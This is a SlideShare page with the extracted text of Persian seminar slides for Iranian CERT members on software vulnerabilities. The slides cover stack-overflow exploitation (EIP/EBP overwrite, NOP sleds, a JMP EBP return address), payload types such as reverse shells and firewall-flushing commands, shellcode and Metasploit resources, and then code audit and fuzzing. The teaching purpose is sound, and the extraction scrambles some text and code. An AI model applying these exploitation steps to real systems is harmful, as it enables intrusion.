Softwares : Vuln discovery , attack and deffence technologies

1,935
-1

Published on

This is the slide I used in an 8 hours seminar presented in Yazd university for APA ( so called Iranian CERT) members and computer science students .

Published in: Technology, Business
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
1,935
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
60
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

Softwares : Vuln discovery , attack and deffence technologies

  1. 1. ‫مشکلت امنیتی نرم افزارها‬ ‫مروری بر روش های کشف ، حمله و مقابله‬ ‫سید حمید کشفی‬ ‫‪Hamid@OISSG.org‬‬ ‫5 تیر ماه 7831‬
  2. 2. ‫مواردی که به آنها خواهیم پرداخت‬ ‫بررسی روش های حمله به نرم افزارها‬ ‫‪‬‬ ‫‪ ‬نرم افزارهای کاربردی‬ ‫مروری بر حملت سرریز بافر‬ ‫‪‬‬ ‫‪ ‬نرم افزارهای تحت وب‬ ‫مروری بر حملت رایج )‪(… ,SQLi, XSS, Harvesting‬‬ ‫‪‬‬ ‫بررسی روش های کشف ضعف های امنیتی‬ ‫‪‬‬ ‫‪ ‬بازبینی کد )‪(Source-code Audit‬‬ ‫‪Fuzzing & Fault-Injection ‬‬ ‫‪Binary Analyzing ‬‬ ‫بررسی روش های مقابله با حملت‬ ‫‪‬‬ ‫‪ ‬سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار‬ ‫‪ ‬سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی‬ ‫2‬
  3. 3. ‫حمله به نرم افزار – نرم افزارهای کاربردی‬ ‫‪ ‬ضعف امنیتی در نرم افزار چیست ؟‬ ‫‪ ‬منظور از ‪ Exploit‬کردن یک ضعف امنیتی ؟‬ ‫‪ ‬اهداف استفاده از ضعف های امنیتی نرم افزار‬ ‫‪ ‬ایجاد اختلل در روال کار نرم افزار یا سیستم )‪(DoS‬‬ ‫‪ ‬اجرای دستورالعملی خارج از روال معمول اجرای نرم‬ ‫افزار)‪(Controling Software‬‬ ‫‪ ‬بدست گرفتن کنترل کامل نرم افزار یا سیستم‬ ‫عامل)‪(Controling System‬‬ ‫‪ Payload ‬چیست ؟‬ ‫3‬
  4. 4. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫‪ ‬بررسی روال اجرای یک نرم افزار‬ ‫‪ ‬اختصاص یک محدوده آدرس در حافظه برای بارگذاری‬ ‫دستورالعمل ها و اطلعات لزم‬ ‫‪ ‬بارگذاری سگمنت های تعریف شده در نرم افزار‬ ‫‪ :text. ‬حاوی دستورالعمل های اجرایی برنامه‬ ‫‪ :bss. ‬حاوی اطلعات و متغیر های تعریف نشده )‪(uninitialized data‬‬ ‫‪ :data. ‬حاوی اطلعات و متغیر های تعریف شده )‪(static initialized data‬‬ ‫‪ ‬اختصاص فضای ‪ Stack‬و ‪Heap‬‬ ‫4‬
  5. 5. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫سرریز بافر زمانی رخ میدهد که حجم اطلعات کپی شده به بافر ،‬ ‫‪‬‬ ‫بیشتر از میزان مشخص شده برای بافر باشد.‬ ‫#‪<include <stdio.h‬‬ ‫‪(Int main (int arge , char **argv‬‬ ‫}‬ ‫‪chartarget]5[=”“AAAA‬‬ ‫‪;(“strcpy(target, “AAAAABBBBCCCC‬‬ ‫‪;(“Printf(“%n“,target‬‬ ‫0 ‪;Return‬‬ ‫{‬ ‫5‬
  6. 6. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ Stack Overflow ‫ بررسی یک کد آسیب پذیر به‬ #include <iostream.h> #include <stdio.h> 12345... #include <conio.h> #include <stdio.h> int Hijack() { cout << "This function should be hijacked!"; getchar(); ....ABCD return 0; } EIP int Function1() { char var1[15]; cout << "_________1234567890abcd" << endl; Main() cout << "Enter Var1:"; cin >> var1; cout << var1 << endl; return 0; } Hijack() int main() { Function1(); getchar(); 6 return 0; }
  7. 7. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫اتفاقی که پس از سرریز بافر رخ میدهد : تخریب روال اجرا‬ ‫‪‬‬ ‫...54321‬ ‫6543210.....‬ ‫) ‪EBP ( AAAA‬‬ ‫) ‪EIP ( BCDE‬‬ ‫)(‪Main‬‬ ‫)(‪Hijack‬‬ ‫7‬
  8. 8. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫استفاده از قابلیت تغییر‪ EIP‬برای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای‬ ‫‪‬‬ ‫معمولی برنامه , فراخوانی نمیشوند‬ ‫...54321‬ ‫6543210.....‬ ‫) ‪EBP ( AAAA‬‬ ‫) 05010400( ‪EIP‬‬ ‫)(‪Main‬‬ ‫)(‪Hijack‬‬ ‫8‬
  9. 9. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه‬ ‫‪‬‬ ‫نمود‬ ‫با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،‬ ‫‪‬‬ ‫دستورات می بایست به زبان ماشین باشد.‬ ‫به دستوراتی که برای اجرا در حافظه درج میشوند اصطلحآ ‪ Payload‬گفته‬ ‫‪‬‬ ‫میشود‬ ‫رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00‪(0x‬‬ ‫‪‬‬ ‫باعث بروز مشکل خواهد شد‬ ‫برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق‬ ‫‪‬‬ ‫آنها را پس از درج در حافظه بدانیم‬ ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~‬ ‫‪‬‬ ‫9‬
  10. 10. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫...54321‬ ‫از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود‬ ‫‪‬‬ ‫[‪]Injected Payload‬‬ ‫ندارد . ورودی داده شده درصورتی که دستور زبان ماشین‬ ‫معتبر باشد اجرا خواهد شد.‬ ‫6543210.....‬ ‫یکی از روش های تزریق ‪ Payload‬درحافظه ، ارسال آن در‬ ‫‪‬‬ ‫قالب پارامترهای ورودی نرم افزار میباشد‬ ‫) ‪EBP ( AAAA‬‬ ‫سرریز بافر میتواند هم در فضای ‪ Stack‬و هم در فضای‬ ‫‪‬‬ ‫)}‪EIP (0x{Payload Offset‬‬ ‫‪ Heap‬رخ دهد‬ ‫بسته به محل وقوع سرریز )‪(stack / Heap overflow‬‬ ‫‪‬‬ ‫)(‪Main‬‬ ‫نحوه تغییر روال اجرای برنامه و پرش به محل ‪Payload‬‬ ‫متفاوت بوده وتکنیک ها و روش های مختلفی برای هر حالت‬ ‫وجود دارد.‬ ‫)(‪Hijack‬‬ ‫قابلیت بازنویسی ‪ EIP‬الزامی نیست ! در نظر داشته باشید که‬ ‫‪‬‬ ‫بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای‬ ‫00‪0x‬‬ ‫‪ Payload‬گردد‬ ‫01‬
  11. 11. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:‬ ‫‪‬‬ ‫‪ ‬آدرس های بارگذاری توابع و ‪ Dll‬ها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی ‪Service‬‬ ‫‪ Pack‬تغییر میکند‬ ‫در برخی موارد ، آدرس ها و ‪ offset‬های ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند‬ ‫‪‬‬ ‫‪ ‬نیاز به آگاهی از آدرس دقیق دستورات درج شده )‪ (Payload‬در حافظه‬ ‫بر خلف ‪ ، Linux‬تخمین آدرس دقیق ‪ Stack‬در ویندوز براحتی امکانپذیر نیست‬ ‫‪‬‬ ‫استفاده از تکنیک ‪Return-to-lib/dll‬‬ ‫‪‬‬ ‫استفاده از ‪NOP Sled‬‬ ‫‪‬‬ ‫‪ ‬محدودیت در حجم دستوراتی که میتوان در بافر درج کرد‬ ‫استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها‬ ‫‪‬‬ ‫استفاده از ‪ Payload‬های چند مرحله ایی‬ ‫‪‬‬ ‫‪ ‬محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد‬ ‫شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند‬ ‫‪‬‬ ‫‪ Encode‬کردن ‪ Payload‬برای پرهیز از وجود کاراکترهای خاص‬ ‫‪‬‬ ‫‪ ‬نحوه ارسال دستورات به نرم افزار‬ ‫11‬
  12. 12. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫‪ ‬در زبان ماشین ، امکان مقدار دهی به ‪ EIP‬بصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط‬ ‫دستوراتی چون ‪ ... JMP MOV CALL‬به ‪ EIP‬داده میشوند (‬ ‫‪ ‬در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق ‪ Payload‬برای‬ ‫استفاده دربازنویسی ‪ EIP‬را در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .‬ ‫‪ EBP ‬بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای ‪ EBP‬را در ‪ EIP‬درج کند‬ ‫)‪(JMP EBP‬‬ ‫‪ ‬قدم بعد ، بازنویسی ‪ EBP‬برای اشاره به آدرسی از حافظه است که در آن دستورالعمل ‪JMP EBP‬‬ ‫وجود داشته باشد‬ ‫‪ ‬نکته : توابع کتابخانه ایی پویا)‪ (DLL‬همواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در‬ ‫هر یک از ‪ DLL‬های موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد‬ ‫‪ ‬ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس‬ ‫)‪ (offset‬آن دستورالعمل‬ ‫‪ ‬استفاده از ابزارهایی مانند ‪FindJump‬‬ ‫‪ ‬بازنویسی ‪ EIP‬با ‪ 0x7c822cac‬محتویات ‪ EBP‬را در ‪ EIP‬بازنویسی میکند‬ ‫‪ ‬بدین ترتیب بدون نیاز به درج آدرس ‪Payload‬‬ ‫بطور مسقیم در ‪ ، EIP‬آنرا اجرا میکنیم‬ ‫‪ ‬نتیجه : پایداری بیشتر در روال حمله‬ ‫21‬
  13. 13. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫‪ ‬نتیجه نهایی ، نمایی از ‪ Stack‬پس از حمله‬ ‫[… ‪GET / AA….A[ 0x90 Nop] [ JMP ] ]overwrite EBP[ ]Overwrite EIP[ [NOP] ]…. Payload‬‬ ‫5‬ ‫3‬ ‫6‬ ‫‪AA...A‬‬ ‫‪NOP Sled jmp EBPEIP NOP‬‬ ‫‪Payload‬‬ ‫4‬ ‫‪ EIP‬با آدرسی که به ‪ jmp ebd‬اشاره دارد بازنویسی میشود‬ ‫1.‬ ‫پردازنده به آدرس مراجعه کرده و دستور اجرا میشود‬ ‫2.‬ ‫2‬ ‫1‬ ‫محتویات ‪ EBP‬که به محل ‪ Nop Sled‬در حافظه اشاره دارد ، در ‪EIP‬‬ ‫3.‬ ‫بازنویسی میشود‬ ‫‪Jmp ebp‬‬ ‫پردازنده با توجه به ‪ ، EIP‬برای ادامه اجرای دستورات به آدرس ‪Nop Sled‬‬ ‫4.‬ ‫مراجعه میکند‬ ‫‪Kernel32.dll‬‬ ‫پس از پایان ‪ Nop‬پردازنده به دستور پرش به ‪ Nop Sled‬دوم میرسد‬ ‫5.‬ ‫‪ Nop Sled‬دوم اجرا شده و روال در نهایت به اجرای ‪ Payload‬ختم میگردد.‬ ‫6.‬ ‫31‬
  14. 14. ‫حملت سرریز بافر – بررسی ‪ Payload‬ها‬ ‫به مرحله اجرای ‪ Payload‬رسیدیم . چه انتخاب هایی پیش رو داریم ؟‬ ‫‪‬‬ ‫مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ‪ ، Payload‬اصطلحآ ‪ Post Exploitation‬خوانده میشوند.‬ ‫‪‬‬ ‫وجه مشترک همه ‪ Payload‬ها : بر اساس زبان ماشین‬ ‫‪‬‬ ‫وجه تمایز : اجرای ‪ Payload‬در حافظه هر ‪ Platform‬و معماری پردازنده ، میبایست بر اساس همان شرایط باشد.‬ ‫‪‬‬ ‫برای تهیه و نوشتن ‪ Payload‬برای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ), 46/23‪IA‬‬ ‫‪‬‬ ‫‪ SPARC , PowerPC, MIPS‬و... (‬ ‫دستوراتی که ‪ Payload‬قصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.‬ ‫‪‬‬ ‫برخی از ‪ Payload‬های رایج :‬ ‫‪‬‬ ‫اجرای دستورات بر روی سیستم عامل ) ‪( … , add user , iptables –F‬‬ ‫‪‬‬ ‫فراهم کردن دسترسی از راه دور به سیستم هدف ) ‪(Reverse/Bind Shell‬‬ ‫‪‬‬ ‫فراهم کردن دسترسی پیشرفته از طریق ‪ Payload‬های پیچیده )‪( Meterpreter , MOSDEF‬‬ ‫‪‬‬ ‫‪ Proxy‬کردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )‪( SysCall Proxying‬‬ ‫‪‬‬ ‫در شرایط معمولی ، میتوان از ‪ Shellcode‬های از پیش آماده شده استفاده کرد‬ ‫‪‬‬ ‫/‪http//:milw0rm.com/shellcode‬‬ ‫‪‬‬ ‫‪http//:metasploit.org/data/shellcode/win32msf20payloads.tar.gz‬‬ ‫‪‬‬ ‫بسته ‪ Metasploit Framework‬بیش از یکصد ‪ Payload‬آماده برای استفاده درشرایط ، سیستم عامل ها و معماری های‬ ‫‪‬‬ ‫مختلف پردازنده را در اختیار قرار میدهد. )‪( www.metasploit.org‬‬ ‫41‬
  15. 15. ‫حملت سرریز بافر – ‪Exploit Frameworks‬‬ ‫همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی‬ ‫‪‬‬ ‫مراحل مختلف میباشد‬ ‫انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد‬ ‫‪‬‬ ‫تولید ‪ Payload‬ها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد‬ ‫‪‬‬ ‫در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا ‪ Encode‬کردن‬ ‫‪‬‬ ‫‪ Payload‬میبایست تکرارشود‬ ‫برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از ‪ Payload‬های‬ ‫‪‬‬ ‫متفاوتی استفاده گردد‬ ‫با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد‬ ‫‪‬‬ ‫استفاده قرار گیرد‬ ‫وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای‬ ‫‪‬‬ ‫آنالیز و تولید کد های اکسپلویت برای حملت سرریز بافر تولید شده ، کمک‬ ‫بزرگی محسوب میگردد.‬ ‫51‬
  16. 16. ‫حملت سرریز بافر – ‪Exploit Frameworks‬‬ ‫‪ Exploitation Framework‬های موجود به ما کمک میکنند تا‬ ‫‪‬‬ ‫تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به‬ ‫‪‬‬ ‫تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم‬ ‫نگران مراحل زمانگیر تولید و تست ‪ Payload‬های مختلف نباشیم‬ ‫‪‬‬ ‫براحتی و با استفاده از ‪ Encoder‬های موجود ، مشکل کاراکترهای فیلتر شده )‪Bad‬‬ ‫‪‬‬ ‫‪ (chars‬را حل کنیم‬ ‫از امکانات موجود در ‪ Payload‬های پیشرفته استفاده کنیم‬ ‫‪‬‬ ‫تعداد خطوط کد لزم برای تولید یک اکسپلویت بسیار کاهش میبابد‬ ‫‪‬‬ ‫کمتر از 5 خط کد در محیط ‪ Framework‬معادل ده ها خط کد در یک اکسپلویت مستقل!‬ ‫‪‬‬ ‫معرفی ‪ Metasploit Framework‬و امکانات آن‬ ‫‪‬‬ ‫‪ ‬ابزارهای کمکی برای طی مراحل اولیه‬ ‫تولید ‪ Pattern‬برای سرریز کردن بافر )‪(pattern_create.rb‬‬ ‫‪‬‬ ‫محاسبه سایز بافر ، و تعداد بایت لزم برای سرریز کردن بافر )‪(pattern_offset.rb‬‬ ‫‪‬‬ ‫بانک اطلعاتی بسیار کامل برای یافتن ‪ offset‬های مختلف و مناسب )‬ ‫‪‬‬ ‫‪(/http://metasploit.org/opcodedb‬‬ ‫61‬
  17. 17. Metasploit Framework DEMO 17
  18. 18. ‫حملت سرریز بافر – علت بروز مشکل‬ ‫حملت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان‬ ‫‪‬‬ ‫برنامه نویسی هستند.‬ ‫بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند‬ ‫‪‬‬ ‫انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع‬ ‫‪‬‬ ‫اطلعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری‬ ‫شود.‬ ‫برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر‬ ‫‪‬‬ ‫میگردد : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬ ‫‪(),gets() ,scanf‬‬ ‫استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز‬ ‫‪‬‬ ‫دوچار مشکل امنیتی میکنند.‬ ‫81‬
  19. 19. ‫حملت سرریز بافر – علت بروز مشکل‬ Vulnerable Function Function’s Purpose Why Vulnerable Memcpy() Copies one part of the memory to another, taking It can place too much data, into too small a buffer, two a source, a destination and a number of thus causing an overflow. bytes as arguments. Gets() Receives data from the user, and places it into a Doesn’t check how much data has been placed in buffer. the buffer, perhaps too much! Sprintf() Places formatted data into a buffer, replacing It doesn’t check how much data is being placed arguments with data, for example ‘%s’, ‘hi’ into the buffer. being written to buffer[5]; would result in not ‘%s’ being placed in the buffer, but ‘hi’. Strcat() Sticks one buffer onto the end of another. Doesn’t check that the data being added will fit within the buffer limits/ Strcpy() Copies the content of one buffer to another. Once again, the destination length is not compared with the source length. 19
  20. 20. ‫شناسایی مشکلت امنیتی نرم افزار‬ ‫تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در‬ ‫‪‬‬ ‫نرم افزارها وجود دارد‬ ‫‪ ‬بررسی کد )‪(Source-Code Audit‬‬ ‫‪Fuzzing & Fault-Injection ‬‬ ‫‪Binary (Static/Dynamic) Analyze ‬‬ ‫بسته به شرایط ، امکانات ودقت عمل لزم از یک یا ترکیبی از چند روش‬ ‫‪‬‬ ‫برای آنالیز یک نرم افزار استفاده میشود‬ ‫الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !‬ ‫‪‬‬ ‫اگرچه بسیاری از تکنیک های کشف و شناسایی مشکلت امنیتی بصورت‬ ‫‪‬‬ ‫‪ Automated‬نیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با‬ ‫تجربه وجود دارد.‬ ‫لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای‬ ‫‪‬‬ ‫کد/دستور نیست .‬ ‫02‬
  21. 21. ‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬ ‫بررسی کد )‪(Source-Code Audit‬‬ ‫‪‬‬ ‫)‪(...()strcat(), strcpy() ,sprintf(), vsprintf‬‬ ‫‪ ‬جستجو برای شناسایی توابع پر خطر‬ ‫‪ ‬کنترل روال برنامه ، برای شناسایی مشکلت منطقی )‪(Logical‬‬ ‫‪ ‬روال جستجو بصورت ‪ ) Static‬بدون اجرای کد ( و ‪ ( Dynamic‬اجرا و بررسی کد (‬ ‫وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست‬ ‫‪‬‬ ‫بررسی و خواندن کد عملی خسته کننده و زمانبر است.‬ ‫‪‬‬ ‫حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.‬ ‫‪‬‬ ‫یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که‬ ‫‪‬‬ ‫احتمال وجود مشکل در آنها بالست ) توابع دریافت ورودی ، خواندن و نوشتن‬ ‫داده و ... (‬ ‫12‬
  22. 22. ‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬ ‫بررسی کد )‪(Source-Code Audit‬‬ ‫‪‬‬ ‫‪ ‬استفاده از ابزارهای ‪ Automated‬برای بررسی کد‬ ‫ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده‬ ‫‪‬‬ ‫سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار بالست‬ ‫‪‬‬ ‫ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند‬ ‫‪‬‬ ‫درصد گزارش های خطا )‪ (False Positive‬در اینگونه ابزارها بالست‬ ‫‪‬‬ ‫این قبیل ابزارها قادر به تشخیص و گزارش مشکلت امنیتی ناشی از خطاهای ‪Logical‬‬ ‫‪‬‬ ‫نیستند‬ ‫استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست‬ ‫‪‬‬ ‫لیستی از ابزارهای ‪ Automated‬برای ‪: Static Code Audit‬‬ ‫‪‬‬ ‫‪http//:en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬ ‫‪//:httpsamate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬ ‫22‬
  23. 23. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫‪Fuzzing & Fault-Injection‬‬ ‫‪‬‬ ‫‪ ‬هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی‬ ‫‪ ‬قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها‬ ‫‪ ‬بررسی ‪ BlackBox‬نرم افزار برای کشف مشکلت‬ ‫‪ ‬تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختلل در‬ ‫روند کار نرم افزار گردد.‬ ‫تغذیه نرم افزار و پارامتر ها با داده های کامل تصادفی‬ ‫‪‬‬ ‫تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با‬ ‫‪‬‬ ‫پارامترها و مقادیر تصادفی‬ ‫‪ ‬داده های تولید شده توسط ‪ Fuzzer‬باید آنقدر حساب شده باشند تا از دید‬ ‫نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و‬ ‫مامتعارف که بتوانند نرم افزار را دوچار اختلل کنند.‬ ‫32‬
  24. 24. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫تکنیک های مختلف ‪: Fuzzing‬‬ ‫‪‬‬ ‫‪Session Data Fuzzers ‬‬ ‫بررسی اطلعات و پارامترهای رد و بدل شده در یک ‪ session‬معتبر وسعی در دستکاری پارامترها و‬ ‫‪‬‬ ‫ارسال آنها‬ ‫پیاده سازی این روش بسیار ساده میباشد‬ ‫‪‬‬ ‫‪Specialized Fuzzers ‬‬ ‫بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب ‪Fuzzing‬‬ ‫‪‬‬ ‫نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل‬ ‫‪‬‬ ‫کارآمدی ‪ Fuzzer‬وابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای ‪ Fuzzing‬میباشد‬ ‫‪‬‬ ‫تولید این دسته از ‪ Fuzzer‬ها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد‬ ‫‪‬‬ ‫استفاده از این قبیل ‪ Fuzzer‬ها نیاز به دانش فنی بالی کاربر ندارد‬ ‫‪‬‬ ‫‪ Fuzzer‬های اختصاصی برای ‪… , SIP , SSL , SMTP , SNMP , RPC‬‬ ‫‪‬‬ ‫‪Generic Fuzzers ‬‬ ‫قابلیت ‪ Fuzzing‬پروتکل های متعدد‬ ‫‪‬‬ ‫کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات ‪ Fuzzer‬بنماید‬ ‫‪‬‬ ‫تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به ‪ Fuzzer‬معرفی میشوند‬ ‫‪‬‬ ‫استفاده از این دسته ‪ Fuzzer‬ها برای کاربران عادی مشکل است‬ ‫‪‬‬ ‫کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با ‪ Specialized Fuzzer‬ها کمتر است.‬ ‫‪‬‬ ‫42‬
  25. 25. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،‬ ‫‪‬‬ ‫از دید نرم افزار معتبر باشد‬ ‫در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به‬ ‫‪‬‬ ‫تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.‬ ‫حداقل اطلعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد‬ ‫‪‬‬ ‫در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،‬ ‫‪‬‬ ‫پارامترهای ‪ Fuzz‬شده یک فیلد ، اطلعات فیلد های بعد از خود را تخریب میکند = غیر‬ ‫معتبر شدن آن درخواست از دید نرم افزار‬ ‫مفهوم ‪ Block Based Fuzzing‬بر همین اصل استوار است . محاسبه پویای سایز هر‬ ‫‪‬‬ ‫فیلد ، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ،‬ ‫در زمان تولید یک درخواست برای نرم افزار‬ ‫مثال ساده : در بررسی پروتکل ‪ HTTP‬و ارسال یک درخواست ‪ POST‬نمیتوان تنها‬ ‫‪‬‬ ‫پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر‬ ‫‪ content-lenght‬محاسبه شده و در درخواست درج گردد.‬ ‫‪ ، SPIKE‬یک نمونه ‪ General Fuzzer‬که بر مبنای ‪ Block-Based Fuzzing‬کار‬ ‫‪‬‬ ‫میکند‬ ‫52‬
  26. 26. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫اهداف ‪ Fuzzer‬ها و کاربرد آنها‬ ‫‪‬‬ ‫‪ ‬بررسی پروتکل های ارتباطی شبکه )‪Routing protocols, IP‬‬ ‫‪( … , stack‬‬ ‫‪ ‬بررسی پروتکل های تحت شبکه )‪,ssh,ftp,smtp,ssh,http,snmp‬‬ ‫…(‬ ‫‪ ‬بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص‬ ‫‪ ‬بررسی مشکلت مربوط به خواندن )‪ (parse‬اطلعات از فایل ورودی‬ ‫‪ ‬بررسی بسته های نرم افزاری خاص )-‪browser,mail-client,ftp‬‬ ‫‪(clients‬‬ ‫‪ ‬بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص‬ ‫‪ } . . . ‬هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم‬ ‫افزار دخیل است! {‬ ‫62‬
  27. 27. ‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬ ‫‪Fuzzing Frameworks‬‬ ‫‪‬‬ ‫قابلیت عمل بصورت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬ ‫‪‬‬ ‫غالبآ توسط زبان های اسکریپت نویسی تولید میشوند‬ ‫‪‬‬ ‫‪ API‬های مختلفی را برای ‪ Fuzzing‬در اختیار قرار میدهند‬ ‫‪‬‬ ‫از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند‬ ‫‪‬‬ ‫قابلیت گسترش و افزودن پروتکل های جدید به ‪framework‬‬ ‫‪‬‬ ‫‪ Fuzzer‬ها نسبت به گذشته تحولت بسیاری داشته اند‬ ‫‪‬‬ ‫مانیتور کردن نرم افزار تحت بررسی‬ ‫‪‬‬ ‫کنترل کردن روال اجرای نرم افزار توسط ‪ debugger‬همزمان با ‪Fuzzing‬‬ ‫‪‬‬ ‫فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختلل در طول‬ ‫‪‬‬ ‫‪ ) Fuzzing‬مانند ‪ crash‬کردن نرم افزار(‬ ‫مانیتور کردن و ذخیره فعالیت های انجام شده در زمان ‪ Fuzzing‬و ...‬ ‫‪‬‬ ‫“‪“Sulley Fuzzing Framework‬‬ ‫‪‬‬ ‫‪http//:www.fuzzing.org/wp-content/Amini-Portnoy-BHUS07.zip‬‬ ‫72‬
